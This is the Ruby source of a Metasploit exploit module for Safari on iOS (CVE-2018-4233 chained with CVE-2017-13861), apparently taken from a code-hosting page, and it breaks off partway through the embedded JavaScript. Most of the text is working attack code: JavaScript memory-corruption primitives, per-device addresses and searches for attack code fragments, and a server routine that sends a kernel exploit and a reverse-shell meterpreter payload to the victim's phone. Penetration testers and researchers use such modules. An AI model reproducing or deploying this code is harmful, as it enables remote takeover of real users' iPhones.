1034 lines
44 KiB
Ruby
1034 lines
44 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ManualRanking
|
|
|
|
include Msf::Post::File
|
|
include Msf::Exploit::EXE
|
|
include Msf::Exploit::Remote::HttpServer
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Safari Webkit Proxy Object Type Confusion',
|
|
'Description' => %q{
|
|
This module exploits a type confusion bug in the Javascript Proxy object in
|
|
WebKit. The DFG JIT does not take into account that, through the use of a Proxy,
|
|
it is possible to run arbitrary JS code during the execution of a CreateThis
|
|
operation. This makes it possible to change the structure of e.g. an argument
|
|
without causing a bailout, leading to a type confusion (CVE-2018-4233).
|
|
|
|
The type confusion leads to the ability to allocate fake Javascript objects,
|
|
as well as the ability to find the address in memory of a Javascript object.
|
|
This allows us to construct a fake JSCell object that can be used to read
|
|
and write arbitrary memory from Javascript. The module then uses a ROP chain
|
|
to write the first stage shellcode into executable memory within the Safari
|
|
process and kick off its execution.
|
|
|
|
The first stage maps the second stage macho (containing CVE-2017-13861) into
|
|
executable memory, and jumps to its entrypoint. The CVE-2017-13861 async_wake
|
|
exploit leads to a kernel task port (TFP0) that can read and write arbitrary
|
|
kernel memory. The processes credential and sandbox structure in the kernel
|
|
is overwritten and the meterpreter payloads code signature hash is added to
|
|
the kernels trust cache, allowing Safari to load and execute the (self-signed)
|
|
meterpreter payload.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'saelo',
|
|
'niklasb',
|
|
'Ian Beer',
|
|
'siguza',
|
|
],
|
|
'References' => [
|
|
['CVE', '2018-4233'],
|
|
['CVE', '2017-13861'],
|
|
['URL', 'https://github.com/saelo/cve-2018-4233'],
|
|
['URL', 'https://github.com/phoenhex/files/tree/master/exploits/ios-11.3.1'],
|
|
['URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1417'],
|
|
['URL', 'https://github.com/JakeBlair420/totally-not-spyware/blob/master/root/js/spyware.js'],
|
|
],
|
|
'Arch' => ARCH_AARCH64,
|
|
'Platform' => 'apple_ios',
|
|
'DefaultTarget' => 0,
|
|
'DefaultOptions' => { 'PAYLOAD' => 'apple_ios/aarch64/meterpreter_reverse_tcp' },
|
|
'Targets' => [[ 'Automatic', {} ]],
|
|
'DisclosureDate' => '2018-03-15'))
|
|
register_advanced_options([
|
|
OptBool.new('DEBUG_EXPLOIT', [false, "Show debug information in the exploit javascript", false]),
|
|
OptBool.new('DUMP_OFFSETS', [false, "Show newly found offsets in a javascript prompt", false]),
|
|
])
|
|
end
|
|
|
|
def payload_url
|
|
"tcp://#{datastore["LHOST"]}:#{datastore["LPORT"]}"
|
|
end
|
|
|
|
def get_version(user_agent)
|
|
if user_agent =~ /OS (.*?) like Mac OS X\)/
|
|
ios_version = Rex::Version.new($1.gsub("_", "."))
|
|
return ios_version
|
|
end
|
|
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
|
|
end
|
|
|
|
def on_request_uri(cli, request)
|
|
if request.uri =~ %r{/apple-touch-icon*}
|
|
return
|
|
elsif request.uri =~ %r{/favicon*}
|
|
return
|
|
elsif request.uri =~ %r{/payload10$*}
|
|
payload_data = MetasploitPayloads::Mettle.new('aarch64-iphone-darwin').to_binary :dylib_sha1
|
|
send_response(cli, payload_data, {'Content-Type'=>'application/octet-stream'})
|
|
print_good("Sent sha1 iOS 10 payload")
|
|
return
|
|
elsif request.uri =~ %r{/payload11$*}
|
|
payload_data = MetasploitPayloads::Mettle.new('aarch64-iphone-darwin').to_binary :dylib
|
|
send_response(cli, payload_data, {'Content-Type'=>'application/octet-stream'})
|
|
print_good("Sent sha256 iOS 11 payload")
|
|
return
|
|
end
|
|
|
|
user_agent = request['User-Agent']
|
|
print_status("Requesting #{request.uri} from #{user_agent}")
|
|
version = get_version(user_agent)
|
|
ios_11 = (version >= Rex::Version.new('11.0.0'))
|
|
if request.uri =~ %r{/exploit$}
|
|
loader_data = exploit_data('CVE-2017-13861', 'exploit')
|
|
srvhost = Rex::Socket.resolv_nbo_i(srvhost_addr)
|
|
config = [srvhost, srvport].pack("Nn") + payload_url
|
|
payload_url_index = loader_data.index('PAYLOAD_URL')
|
|
loader_data[payload_url_index, config.length] = config
|
|
print_good("Sent async_wake exploit")
|
|
send_response(cli, loader_data, {'Content-Type'=>'application/octet-stream'})
|
|
return
|
|
end
|
|
|
|
get_mem_rw_ios_10 = %Q^
|
|
function get_mem_rw(stage1) {
|
|
var structs = [];
|
|
function sprayStructures() {
|
|
function randomString() {
|
|
return Math.random().toString(36).replace(/[\^a-z]+/g, "").substr(0, 5)
|
|
}
|
|
for (var i = 0; i < 4096; i++) {
|
|
var a = new Float64Array(1);
|
|
a[randomString()] = 1337;
|
|
structs.push(a)
|
|
}
|
|
}
|
|
sprayStructures();
|
|
var hax = new Uint8Array(4096);
|
|
var jsCellHeader = new Int64([0, 16, 0, 0, 0, 39, 24, 1]);
|
|
var container = {
|
|
jsCellHeader: jsCellHeader.asJSValue(),
|
|
butterfly: false,
|
|
vector: hax,
|
|
lengthAndFlags: (new Int64("0x0001000000000010")).asJSValue()
|
|
};
|
|
var address = Add(stage1.addrof(container), 16);
|
|
var fakearray = stage1.fakeobj(address);
|
|
while (!(fakearray instanceof Float64Array)) {
|
|
jsCellHeader.assignAdd(jsCellHeader, Int64.One);
|
|
container.jsCellHeader = jsCellHeader.asJSValue()
|
|
}
|
|
memory = {
|
|
read: function(addr, length) {
|
|
fakearray[2] = i2f(addr);
|
|
var a = new Array(length);
|
|
for (var i = 0; i < length; i++) a[i] = hax[i];
|
|
return a
|
|
},
|
|
readInt64: function(addr) {
|
|
return new Int64(this.read(addr, 8))
|
|
},
|
|
write: function(addr, data) {
|
|
fakearray[2] = i2f(addr);
|
|
for (var i = 0; i < data.length; i++) hax[i] = data[i]
|
|
},
|
|
writeInt64: function(addr, val) {
|
|
return this.write(addr, val.bytes())
|
|
},
|
|
};
|
|
var empty = {};
|
|
var header = memory.read(stage1.addrof(empty), 8);
|
|
memory.write(stage1.addrof(container), header);
|
|
var f64array = new Float64Array(8);
|
|
header = memory.read(stage1.addrof(f64array), 16);
|
|
memory.write(stage1.addrof(fakearray), header);
|
|
memory.write(Add(stage1.addrof(fakearray), 24), [16, 0, 0, 0, 1, 0, 0, 0]);
|
|
fakearray.container = container;
|
|
return memory;
|
|
}
|
|
^
|
|
|
|
get_mem_rw_ios_11 = %Q^
|
|
function get_mem_rw(stage1) {
|
|
var FPO = typeof(SharedArrayBuffer) === 'undefined' ? 0x18 : 0x10;
|
|
var structure_spray = []
|
|
for (var i = 0; i < 1000; ++i) {
|
|
var ary = {a:1,b:2,c:3,d:4,e:5,f:6,g:0xfffffff}
|
|
ary['prop'+i] = 1
|
|
structure_spray.push(ary)
|
|
}
|
|
var manager = structure_spray[500]
|
|
var leak_addr = stage1.addrof(manager)
|
|
//print('leaking from: '+ hex(leak_addr))
|
|
function alloc_above_manager(expr) {
|
|
var res
|
|
do {
|
|
for (var i = 0; i < ALLOCS; ++i) {
|
|
structure_spray.push(eval(expr))
|
|
}
|
|
res = eval(expr)
|
|
} while (stage1.addrof(res) < leak_addr)
|
|
return res
|
|
}
|
|
var unboxed_size = 100
|
|
var unboxed = alloc_above_manager('[' + '13.37,'.repeat(unboxed_size) + ']')
|
|
var boxed = alloc_above_manager('[{}]')
|
|
var victim = alloc_above_manager('[]')
|
|
// Will be stored out-of-line at butterfly - 0x10
|
|
victim.p0 = 0x1337
|
|
function victim_write(val) {
|
|
victim.p0 = val
|
|
}
|
|
function victim_read() {
|
|
return victim.p0
|
|
}
|
|
i32[0] = 0x200 // Structure ID
|
|
i32[1] = 0x01082007 - 0x10000 // Fake JSCell metadata, adjusted for boxing
|
|
var outer = {
|
|
p0: 0, // Padding, so that the rest of inline properties are 16-byte aligned
|
|
p1: f64[0],
|
|
p2: manager,
|
|
p3: 0xfffffff, // Butterfly indexing mask
|
|
}
|
|
var fake_addr = stage1.addrof(outer) + FPO + 0x8;
|
|
//print('fake obj @ ' + hex(fake_addr))
|
|
var unboxed_addr = stage1.addrof(unboxed)
|
|
var boxed_addr = stage1.addrof(boxed)
|
|
var victim_addr = stage1.addrof(victim)
|
|
//print('leak ' + hex(leak_addr)
|
|
//+ ' unboxed ' + hex(unboxed_addr)
|
|
//+ ' boxed ' + hex(boxed_addr)
|
|
//+ ' victim ' + hex(victim_addr))
|
|
var holder = {fake: {}}
|
|
holder.fake = stage1.fakeobj(fake_addr)
|
|
// From here on GC would be uncool
|
|
// Share a butterfly for easier boxing/unboxing
|
|
var shared_butterfly = f2i(holder.fake[(unboxed_addr + 8 - leak_addr) / 8])
|
|
var boxed_butterfly = holder.fake[(boxed_addr + 8 - leak_addr) / 8]
|
|
holder.fake[(boxed_addr + 8 - leak_addr) / 8] = i2f(shared_butterfly)
|
|
var victim_butterfly = holder.fake[(victim_addr + 8 - leak_addr) / 8]
|
|
function set_victim_addr(where) {
|
|
holder.fake[(victim_addr + 8 - leak_addr) / 8] = i2f(where + 0x10)
|
|
}
|
|
function reset_victim_addr() {
|
|
holder.fake[(victim_addr + 8 - leak_addr) / 8] = victim_butterfly
|
|
}
|
|
var stage2 = {
|
|
addrof: function(victim) {
|
|
boxed[0] = victim
|
|
return f2i(unboxed[0])
|
|
},
|
|
fakeobj: function(addr) {
|
|
unboxed[0] = i2f(addr)
|
|
return boxed[0]
|
|
},
|
|
write64: function(where, what) {
|
|
set_victim_addr(where)
|
|
victim_write(this.fakeobj(what))
|
|
reset_victim_addr()
|
|
},
|
|
read64: function(where) {
|
|
set_victim_addr(where)
|
|
var res = this.addrof(victim_read())
|
|
reset_victim_addr()
|
|
return res;
|
|
},
|
|
write_non_zero: function(where, values) {
|
|
for (var i = 0; i < values.length; ++i) {
|
|
if (values[i] != 0)
|
|
this.write64(where + i*8, values[i])
|
|
}
|
|
},
|
|
readInt64: function(where) {
|
|
if (where instanceof Int64) {
|
|
where = Add(where, 0x10);
|
|
holder.fake[(victim_addr + 8 - leak_addr) / 8] = where.asDouble();
|
|
} else {
|
|
set_victim_addr(where);
|
|
}
|
|
boxed[0] = victim_read();
|
|
var res = f2i(unboxed[0]);
|
|
reset_victim_addr();
|
|
return new Int64(res);
|
|
},
|
|
read: function(addr, length) {
|
|
var address = new Int64(addr);
|
|
var a = new Array(length);
|
|
var i;
|
|
|
|
for (i = 0; i + 8 < length; i += 8) {
|
|
v = this.readInt64(Add(address, i)).bytes()
|
|
for (var j = 0; j < 8; j++) {
|
|
a[i+j] = v[j];
|
|
}
|
|
}
|
|
|
|
v = this.readInt64(Add(address, i)).bytes()
|
|
for (var j = i; j < length; j++) {
|
|
a[j] = v[j - i];
|
|
}
|
|
|
|
return a
|
|
},
|
|
test: function() {
|
|
this.write64(boxed_addr + 0x10, 0xfff) // Overwrite index mask, no biggie
|
|
if (0xfff != this.read64(boxed_addr + 0x10)) {
|
|
fail(2)
|
|
}
|
|
},
|
|
}
|
|
// Test read/write
|
|
stage2.test()
|
|
return stage2;
|
|
}
|
|
^
|
|
|
|
get_mem_rw = (version >= Rex::Version.new('11.2.2')) ? get_mem_rw_ios_11 : get_mem_rw_ios_10
|
|
utils = exploit_data "javascript_utils", "utils.js"
|
|
int64 = exploit_data "javascript_utils", "int64.js"
|
|
dump_offsets = ''
|
|
if datastore['DUMP_OFFSETS']
|
|
dump_offsets = %Q^
|
|
var offsetstr = uuid + " : { ";
|
|
var offsetarray = [ "_dlsym", "_dlopen", "__longjmp", "regloader", "dispatch", "stackloader", "movx4", "ldrx8", "_mach_task_self_", "__kernelrpc_mach_vm_protect_trap", "__platform_memmove",
|
|
"__ZN3JSC30endOfFixedExecutableMemoryPoolE", "__ZN3JSC29jitWriteSeparateHeapsFunctionE", "__ZN3JSC32startOfFixedExecutableMemoryPoolE", ];
|
|
for (var i = 0; i < offsetarray.length; i++) {
|
|
var offset = offsets[offsetarray[i]];
|
|
if (offset) {
|
|
var offsethex = Sub(offset, cache_slide).toString().replace("0x0000000", "0x");
|
|
offsetstr += "\\"" + offsetarray[i] + "\\" : " + offsethex + ", ";
|
|
}
|
|
}
|
|
offsetstr += "}, ";
|
|
prompt("offsets: ", offsetstr);
|
|
^
|
|
end
|
|
|
|
html = %Q^
|
|
<html>
|
|
<body>
|
|
<script>
|
|
|
|
#{utils}
|
|
#{int64}
|
|
|
|
print = alert;
|
|
ITERS = 1E4;
|
|
ALLOCS = 1E3;
|
|
|
|
var conversion_buffer = new ArrayBuffer(8);
|
|
var f64 = new Float64Array(conversion_buffer);
|
|
var i32 = new Uint32Array(conversion_buffer);
|
|
var BASE32 = 0x100000000;
|
|
|
|
function f2i(f) {
|
|
f64[0] = f;
|
|
return i32[0] + BASE32 * i32[1];
|
|
}
|
|
|
|
function i2f(i) {
|
|
i32[0] = i % BASE32;
|
|
i32[1] = i / BASE32;
|
|
return f64[0];
|
|
}
|
|
|
|
function hexit(x) {
|
|
if (x instanceof Int64) return x.toString();
|
|
if (x < 0) return "-" + hex(-x);
|
|
return "0x" + x.toString(16);
|
|
}
|
|
|
|
function fail(x) {
|
|
print('FAIL ' + x);
|
|
location.reload();
|
|
throw null;
|
|
}
|
|
|
|
counter = 0;
|
|
|
|
// CVE-2018-4233
|
|
function trigger(constr, modify, res, val) {
|
|
return eval(`
|
|
var o = [13.37]
|
|
var Constructor${counter} = function(o) { ${constr} }
|
|
var hack = false
|
|
var Wrapper = new Proxy(Constructor${counter}, {
|
|
get: function() {
|
|
if (hack) {
|
|
${modify}
|
|
}
|
|
}
|
|
})
|
|
for (var i = 0; i < ITERS; ++i)
|
|
new Wrapper(o)
|
|
hack = true
|
|
var bar = new Wrapper(o)
|
|
${res}
|
|
`)
|
|
}
|
|
|
|
var workbuf = new ArrayBuffer(0x1000000);
|
|
var payload = new Uint8Array(workbuf);
|
|
|
|
function pwn() {
|
|
var stage1 = {
|
|
addrof: function(victim) {
|
|
return f2i(trigger("this.result = o[0]", "o[0] = val", "bar.result", victim))
|
|
},
|
|
fakeobj: function(addr) {
|
|
return trigger("o[0] = val", "o[0] = {}", "o[0]", i2f(addr))
|
|
},
|
|
test: function() {
|
|
var addr = this.addrof({
|
|
a: 4919
|
|
});
|
|
var x = this.fakeobj(addr);
|
|
if (x.a != 4919) fail("stage1")
|
|
}
|
|
};
|
|
stage1.test();
|
|
|
|
var stage2 = get_mem_rw(stage1);
|
|
var FPO = #{ios_11 ? "(typeof(SharedArrayBuffer) === 'undefined') ? 0x20 : 0x18;" : "0x18;"}
|
|
var memory = stage2;
|
|
memory.u32 = _u32;
|
|
|
|
var wrapper = document.createElement("div");
|
|
var wrapper_addr = stage1.addrof(wrapper);
|
|
var el_addr = memory.readInt64(wrapper_addr + FPO);
|
|
var vtab = memory.readInt64(el_addr);
|
|
|
|
var anchor = memory.readInt64(vtab);
|
|
var hdr = Sub(anchor, anchor.lo() & 0xfff);
|
|
var b = [];
|
|
while(true)
|
|
{
|
|
if (memory.readInt64(hdr).lo() == 4277009104) {
|
|
fail('WebCore ' + hdr + ' post spectre support coming soon');
|
|
}
|
|
if(strcmp(memory.read(hdr, 0x10), "dyld_v1 arm64"))
|
|
{
|
|
break;
|
|
}
|
|
hdr = Sub(hdr, 0x1000);
|
|
}
|
|
|
|
var base_seg = null;
|
|
var nsegs = memory.u32(Add(hdr, 0x14));
|
|
var segdata = memory.read(Add(hdr, memory.u32(Add(hdr, 0x10))), nsegs * 0x20);
|
|
var segs = [];
|
|
for(var i = 0; i < nsegs; ++i)
|
|
{
|
|
var off = i * 0x20;
|
|
var seg =
|
|
{
|
|
addr: new Int64(segdata.slice(off + 0x0, off + 0x8)),
|
|
size: new Int64(segdata.slice(off + 0x8, off + 0x10)),
|
|
fileoff: new Int64(segdata.slice(off + 0x10, off + 0x18)),
|
|
maxprot: b2u32(segdata.slice(off + 0x18, off + 0x1c)),
|
|
initprot: b2u32(segdata.slice(off + 0x1c, off + 0x20))
|
|
};
|
|
segs.push(seg);
|
|
if(seg.fileoff.hi() == 0 && seg.fileoff.lo() == 0 && (seg.size.hi() != 0 || seg.size.lo() != 0))
|
|
{
|
|
base_seg = seg;
|
|
}
|
|
}
|
|
if(base_seg == null)
|
|
{
|
|
fail("base_seg");
|
|
}
|
|
|
|
var cache_slide = Sub(hdr, base_seg.addr);
|
|
var uuid = memory.readInt64(Add(hdr, 0x58)).lo();
|
|
var offset_cache = {
|
|
// iPod Touch 10.1.1
|
|
788795426 : { "_dlsym" : 0x18052ddd8, "_dlopen" : 0x18052dd10, "__longjmp" : 0x1806ffb78, "regloader" : 0x180f0622c, "dispatch" : 0x180d7e058, "stackloader" : 0x18099a8e8, "_mach_task_self_" : 0x1a586e3bc,
|
|
"__kernelrpc_mach_vm_protect_trap" : 0x1806240a4, "__platform_memmove" : 0x1806ffe00, "__ZN3JSC30endOfFixedExecutableMemoryPoolE" : 0x1a457c438, },
|
|
|
|
// iPhone 5S 10.2.1
|
|
3432281541 : { "_dlsym" : 0x18052edd8, "_dlopen" : 0x18052ed10, "__longjmp" : 0x180700b78, "regloader" : 0x180f07230, "dispatch" : 0x180d7f05c, "stackloader" : 0x18099b8ec, "mach_task_self" : 0x1a6da23bc,
|
|
"__kernelrpc_mach_vm_protect_trap" : 0x1806250c0, "__platform_memmove" : 0x180700e00, "__ZN3JSC30endOfFixedExecutableMemoryPoolE" : 0x1a5a0d438, },
|
|
|
|
// iPhone 6S 11.0.3
|
|
425478416 : { "_dlsym" : 0x180587574, "_dlopen" : 0x180587460, "__longjmp" : 0x1807bd7dc, "regloader" : 0x180051ad8, "dispatch" : 0x19b323a4c, "stackloader" : 0x19b2e6f40, "movx4" : 0x19b33305c,
|
|
"ldrx8" : 0x180060028, "__ZN3JSC30endOfFixedExecutableMemoryPoolE" : 0x1b15d8a00, "__ZN3JSC29jitWriteSeparateHeapsFunctionE" : 0x1b15d8a08, "__ZN3JSC32startOfFixedExecutableMemoryPoolE" : 0x1b15d89f8, },
|
|
};
|
|
|
|
var offsets = offset_cache[uuid];
|
|
if (offsets)
|
|
{
|
|
var k = Object.keys(offsets);
|
|
for(var i = 0; i < k.length; ++i)
|
|
{
|
|
var s = k[i];
|
|
offsets[s] = Add(offsets[s], cache_slide);
|
|
}
|
|
}
|
|
else
|
|
{
|
|
var syms = {};
|
|
var gadgets = {};
|
|
|
|
for(var i = 0; i < segs.length; ++i)
|
|
{
|
|
segs[i].addr = Add(segs[i].addr, cache_slide);
|
|
}
|
|
var libs =
|
|
{
|
|
"/usr/lib/system/libdyld.dylib": ["_dlsym", "_dlopen"],
|
|
#{ ios_11 ? '
|
|
"/System/Library/Frameworks/JavaScriptCore.framework/JavaScriptCore": ["__ZN3JSC29jitWriteSeparateHeapsFunctionE"],
|
|
"/usr/lib/system/libsystem_platform.dylib": ["__longjmp"],
|
|
' : '
|
|
"/usr/lib/system/libsystem_platform.dylib": ["__longjmp", "__platform_memmove"],
|
|
"/usr/lib/system/libsystem_kernel.dylib": ["_mach_task_self_", "__kernelrpc_mach_vm_protect_trap"],
|
|
"/System/Library/Frameworks/JavaScriptCore.framework/JavaScriptCore": ["__ZN3JSC30endOfFixedExecutableMemoryPoolE"],
|
|
'}
|
|
}
|
|
|
|
#{ ios_11 ? '
|
|
var opcodes = {
|
|
// ldr x8, [sp] ; str x8, [x19] ; ldp x29, x30, [sp, #0x20] ; ldp x20, x19, [sp, #0x10] ; add sp, sp, #0x30 ; ret
|
|
"ldrx8": [ [0xf94003e8, 0xf9000268, 0xa9427bfd, 0xa9414ff4, 0x9100c3ff, 0xd65f03c0] ],
|
|
// blr x21; ldp x29, x30, [sp, 0x30]; ldp x20, x19, [sp, 0x20]; ldp x22, x21, [sp, 0x10]; add sp, sp, 0x40; ret
|
|
"dispatch": [ [ 0xd63f02a0, 0xa9437bfd, 0xa9424ff4, 0xa94157f6, 0x910103ff, 0xd65f03c0 ] ],
|
|
// mov x3, x22 ; mov x6, x27 ; mov x0, x24 ; mov x1, x19 ; mov x2, x23 ; ldr x4, [sp] ; blr x8
|
|
"regloader": [ [ 0xaa1603e3, 0xaa1b03e6, 0xaa1803e0, 0xaa1303e1, 0xaa1703e2, 0xf94003e4, 0xd63f0100 ] ],
|
|
// ldp x29, x30, [sp, 0x60]; ldp x20, x19, [sp, 0x50]; ldp x22, x21, [sp, 0x40]; ldp x24, x23, [sp, 0x30];
|
|
// ldp x26, x25, [sp, 0x20]; ldp x28, x27, [sp, 0x10]; add sp, sp, 0x70; ret
|
|
"stackloader": [ [ 0xa9467bfd, 0xa9454ff4, 0xa94457f6, 0xa9435ff8, 0xa94267fa, 0xa9416ffc, 0x9101c3ff, 0xd65f03c0 ] ],
|
|
// mov x4, x20 ; blr x8
|
|
"movx4": [ [ 0xaa1403e4, 0xd63f0100 ] ],
|
|
}
|
|
var opcode_libs = [
|
|
"/usr/lib/PN548.dylib", // dispatch, stackloader
|
|
"/usr/lib/libc++.1.dylib", // ldrx8, regloader, movx4, stackloader
|
|
];
|
|
|
|
' : '
|
|
var opcodes = {
|
|
// mov x0, x23; mov x1, x22; mov x2, x24; mov x3, x25; mov x4, x26; mov x5, x27; blr x28
|
|
"regloader": [ [ 0xaa1703e0, 0xaa1603e1, 0xaa1803e2, 0xaa1903e3, 0xaa1a03e4, 0xaa1b03e5, 0xd63f0380 ] ],
|
|
"dispatch": [
|
|
// blr x21; ldp x29, x30, [sp, 0x30]; ldp x20, x19, [sp, 0x20]; ldp x22, x21, [sp, 0x10]; add sp, sp, 0x40; ret
|
|
[ 0xd63f02a0, 0xa9437bfd, 0xa9424ff4, 0xa94157f6, 0x910103ff, 0xd65f03c0 ],
|
|
// blr x21; sub sp, x29, 0x20; ldp x29, x30, [sp, 0x20]; ldp x20, x19, [sp, 0x10]; ldp x22, x21, [sp], 0x30; ret
|
|
[ 0xd63f02a0, 0xd10083bf, 0xa9427bfd, 0xa9414ff4, 0xa8c357f6, 0xd65f03c0 ],
|
|
],
|
|
"stackloader": [
|
|
// ldp x29, x30, [sp, 0x60]; ldp x20, x19, [sp, 0x50]; ldp x22, x21, [sp, 0x40]; ldp x24, x23, [sp, 0x30];
|
|
// ldp x26, x25, [sp, 0x20]; ldp x28, x27, [sp, 0x10]; add sp, sp, 0x70; ret
|
|
[ 0xa9467bfd, 0xa9454ff4, 0xa94457f6, 0xa9435ff8, 0xa94267fa, 0xa9416ffc, 0x9101c3ff, 0xd65f03c0 ],
|
|
// sub sp, x29, 0x50; ldp x29, x30, [sp, 0x50]; ldp x20, x19, [sp, 0x40]; ldp x22, x21, [sp, 0x30];
|
|
// ldp x24, x23, [sp, 0x20]; ldp x26, x25, [sp, 0x10]; ldp x28, x27, [sp], 0x60; ret
|
|
[ 0xd10143bf, 0xa9457bfd, 0xa9444ff4, 0xa94357f6, 0xa9425ff8, 0xa94167fa, 0xa8c66ffc, 0xd65f03c0 ],
|
|
],
|
|
};
|
|
|
|
var opcode_libs = [ "/usr/lib/libLLVM.dylib" ];
|
|
'}
|
|
|
|
var imgs = Add(hdr, memory.u32(Add(hdr, 0x18)));
|
|
var nimgs = memory.u32(Add(hdr, 0x1c));
|
|
for(var i = 0; i < nimgs; ++i)
|
|
{
|
|
var straddr = off2addr(segs, memory.u32(Add(imgs, i * 0x20 + 0x18)));
|
|
var fn = function(i)
|
|
{
|
|
return memory.read(Add(straddr, i), 1)[0];
|
|
};
|
|
var base = Add(memory.readInt64(Add(imgs, i * 0x20)), cache_slide);
|
|
if(opcode_libs.some(lib => strcmp(fn, lib)))
|
|
{
|
|
var ncmds = memory.u32(Add(base, 0x10));
|
|
for(var j = 0, off = 0x20; j < ncmds; ++j)
|
|
{
|
|
var cmd = memory.u32(Add(base, off));
|
|
if(cmd == 0x19 && strcmp(memory.read(Add(base, off + 0x8), 0x10), "__TEXT")) // LC_SEGMENT_64
|
|
{
|
|
var nsects = memory.u32(Add(base, off + 0x40));
|
|
for(var k = 0, o = off + 0x48; k < nsects; ++k)
|
|
{
|
|
if(strcmp(memory.read(Add(base, o), 0x10), "__text"))
|
|
{
|
|
var keys = Object.keys(opcodes).filter(k=>!gadgets.hasOwnProperty[k])
|
|
if (keys.length == 0) break;
|
|
|
|
var addr = Add(memory.readInt64(Add(base, o + 0x20)), cache_slide)
|
|
var size = memory.u32(Add(base, o + 0x28))
|
|
|
|
// Copy the entire __text region into a Uint32Array for faster processing.
|
|
// Previously you could map a Uint32Array over the data, but on i7+ devices
|
|
// this caused access violations.
|
|
// Instead we read the entire region and copy it into a Uint32Array. The
|
|
// memory.read primitive has a weird limitation where it's only able to read
|
|
// up to 4096 bytes. to get around this we'll read multiple times and combine
|
|
// them into one.
|
|
|
|
var allData = new Uint32Array(size / 4)
|
|
for (var r = 0; r < size; r += 4096) {
|
|
// Check to ensure we don't read out of the region we want
|
|
var qty = 4096
|
|
if (size - r < qty) {
|
|
qty = size - r
|
|
}
|
|
var data = memory.read(Add(addr, r), qty)
|
|
|
|
// Data is an array of single bytes. This code takes four entries
|
|
// and converts them into a single 32-bit integer. It then adds it
|
|
// into the `allData` array at the given index
|
|
for (var h = 0; h < qty; h += 4) {
|
|
var fourBytes = b2u32(data.slice(h, h + 4))
|
|
allData[(r + h) / 4] = fourBytes
|
|
}
|
|
}
|
|
|
|
// Loop through the entire data map looking for each gadget we need
|
|
for (var f = 0; f < size && keys.length > 0; f++) {
|
|
|
|
// Check every gadget
|
|
for (var z = 0; z < keys.length; z++) {
|
|
var key = keys[z];
|
|
var opcode_list = opcodes[key];
|
|
for (var y = 0; y < opcode_list.length; y++) {
|
|
var opcode = opcode_list[y];
|
|
for (var t = 0; t < opcode.length; t++) {
|
|
var op = allData[f+t];
|
|
if (op == opcode[t]) {
|
|
if (t == opcode.length - 1) {
|
|
gadgets[key] = Add(addr, f*4);
|
|
keys.splice(z, 1);
|
|
z = keys.length;
|
|
break;
|
|
}
|
|
continue;
|
|
}
|
|
break;
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
break;
|
|
}
|
|
o += 0x50;
|
|
}
|
|
break;
|
|
}
|
|
off += memory.u32(Add(base, off + 0x4));
|
|
}
|
|
continue;
|
|
}
|
|
var lookup = null;
|
|
for(var k = Object.keys(libs), j = 0; j < k.length; ++j)
|
|
{
|
|
if(strcmp(fn, k[j]))
|
|
{
|
|
lookup = libs[k[j]];
|
|
break;
|
|
}
|
|
}
|
|
if(lookup != null)
|
|
{
|
|
fsyms(memory, base, segs, lookup, syms);
|
|
}
|
|
}
|
|
|
|
var vals = Object.keys(libs).map(function(key) {
|
|
return libs[key];
|
|
});
|
|
var k = vals.reduce(function(p,c){ c.forEach(function(e){ p.push(e) });return p; }, []);
|
|
for(var i = 0; i < k.length; ++i)
|
|
{
|
|
var s = k[i];
|
|
if(syms[s] == null)
|
|
{
|
|
fail(s);
|
|
}
|
|
syms[s] = Add(syms[s], cache_slide);
|
|
}
|
|
k = Object.keys(opcodes);
|
|
for(var i = 0; i < k.length; ++i)
|
|
{
|
|
var s = k[i];
|
|
if(gadgets[s] == null)
|
|
{
|
|
fail(s);
|
|
}
|
|
}
|
|
|
|
offsets = {}
|
|
offsets["regloader"] = gadgets["regloader"];
|
|
offsets["dispatch"] = gadgets["dispatch"];
|
|
offsets["stackloader"] = gadgets["stackloader"];
|
|
offsets["ldrx8"] = gadgets["ldrx8"];
|
|
offsets["movx4"] = gadgets["movx4"];
|
|
offsets["__longjmp"] = syms["__longjmp"];
|
|
offsets["__kernelrpc_mach_vm_protect_trap"] = syms["__kernelrpc_mach_vm_protect_trap"];
|
|
offsets["__platform_memmove"] = syms["__platform_memmove"];
|
|
offsets["_dlopen"] = syms["_dlopen"];
|
|
offsets["_dlsym"] = syms["_dlsym"];
|
|
offsets["_mach_task_self_"] = syms["_mach_task_self_"];
|
|
offsets["__ZN3JSC32startOfFixedExecutableMemoryPoolE"] = syms["__ZN3JSC32startOfFixedExecutableMemoryPoolE"];
|
|
offsets["__ZN3JSC30endOfFixedExecutableMemoryPoolE"] = syms["__ZN3JSC30endOfFixedExecutableMemoryPoolE"];
|
|
offsets["__ZN3JSC29jitWriteSeparateHeapsFunctionE"] = syms["__ZN3JSC29jitWriteSeparateHeapsFunctionE"];
|
|
|
|
if (offsets["__ZN3JSC30endOfFixedExecutableMemoryPoolE"] == null && offsets["__ZN3JSC29jitWriteSeparateHeapsFunctionE"] != null) {
|
|
offsets["__ZN3JSC30endOfFixedExecutableMemoryPoolE"] = Sub(offsets["__ZN3JSC29jitWriteSeparateHeapsFunctionE"], 8);
|
|
}
|
|
#{ ios_11 ? '
|
|
if (offsets["__ZN3JSC32startOfFixedExecutableMemoryPoolE"] == null && offsets["__ZN3JSC30endOfFixedExecutableMemoryPoolE"] != null) {
|
|
offsets["__ZN3JSC32startOfFixedExecutableMemoryPoolE"] = Sub(offsets["__ZN3JSC30endOfFixedExecutableMemoryPoolE"], 8);
|
|
}' : ''}
|
|
|
|
#{dump_offsets}
|
|
|
|
}
|
|
|
|
|
|
var regloader = offsets["regloader"];
|
|
var dispatch = offsets["dispatch"];
|
|
var stackloader = offsets["stackloader"];
|
|
var longjmp = offsets["__longjmp"];
|
|
var mach_vm_protect = offsets["__kernelrpc_mach_vm_protect_trap"];
|
|
var memmove = offsets["__platform_memmove"];
|
|
var dlopen = offsets["_dlopen"];
|
|
var dlsym = offsets["_dlsym"];
|
|
var task_self = offsets["_mach_task_self_"]
|
|
var endOfFixedMem = offsets["__ZN3JSC30endOfFixedExecutableMemoryPoolE"];
|
|
